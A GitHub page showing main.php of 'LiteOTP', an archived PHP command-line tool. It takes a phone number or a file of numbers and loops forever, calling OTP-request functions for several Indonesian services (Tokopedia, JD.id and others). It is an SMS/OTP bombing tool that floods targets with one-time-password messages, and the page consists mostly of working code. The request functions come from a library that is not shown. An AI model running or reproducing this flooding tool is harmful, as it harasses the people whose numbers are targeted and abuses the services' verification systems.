This repository has been archived by the owner on Jan 16, 2024. It is now read-only.
-
-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathmain.php
95 lines (83 loc) · 2.13 KB
/
main.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
require __DIR__ . '/vendor/autoload.php';
use Cvar1984\LiteOtp\Otp;
$app = new Otp;
if ($app->os != 'Linux') {
$R = '';
$RR = '';
$G = '';
$GG = '';
$B = '';
$BB = '';
$Y = '';
$YY = '';
$X = '';
} else {
$R = "\e[91m";
$RR = "\e[91;7m";
$G = "\e[92m";
$GG = "\e[92;7m";
$B = "\e[36m";
$BB = "\e[36;7m";
$Y = "\e[93m";
$YY = "\e[93;7m";
$X = "\e[0m";
}
echo <<<BANNER
$Y _ _ _ ___ _____ ____
| | (_) |_ ___ / _ \_ _| _ \
| | | | __/ _ \ | | || | | |_) |
| |___| | || __/ |_| || | | __/
|_____|_|\__\___|\___/ |_| |_|
$R++++++++++++++++++++++++++++++++++++++
$B Author :$G $app->author
$B Github :$G $app->github
$B Team :$G $app->team
$B Version :$G $app->version
$B Date :$G $app->date
$B OS :$G $app->os
$R++++++++++++++++++++++++++++++++++++++$X
BANNER;
try {
if ($argc < 2) {
throw new Exception('Input No List');
}
if (is_numeric($argv[1])) {
$no = $argv[1];
printf('%sSend OTP to %s[%s]%s%s', $G, $Y, $no, $X, PHP_EOL);
Otp::tokopedia($no);
while (1) {
printf('%sSend OTP to %s[%s]%s%s', $G, $Y, $no, $X, PHP_EOL);
Otp::jdid($no);
Otp::phd($no);
Otp::pedulisehat($no);
}
} elseif (is_file($argv[1])) {
$no = $argv[1];
$no = file_get_contents($no);
$no = trim($no, " \t\n\r\0\x0B"); //remove whitespace
$no = explode(PHP_EOL, $no);
$count = sizeof($no);
while (1) {
for ($x = 0; $x < $count; $x++) {
printf(
'%sSend OTP to %s[%s]%s%s',
$G,
$Y,
$no[$x],
$X,
PHP_EOL
);
Otp::tokopedia($no[$x]);
Otp::jdid($no[$x]);
Otp::phd($no[$x]);
Otp::pedulisehat($no[$x]);
}
}
} else {
throw new Exception($argv[1] . ' Is not a file');
}
} catch (Exception $e) {
fprintf(STDERR, "%s%s%s\n", $RR, $e->getMessage(), $X);
exit(1);
}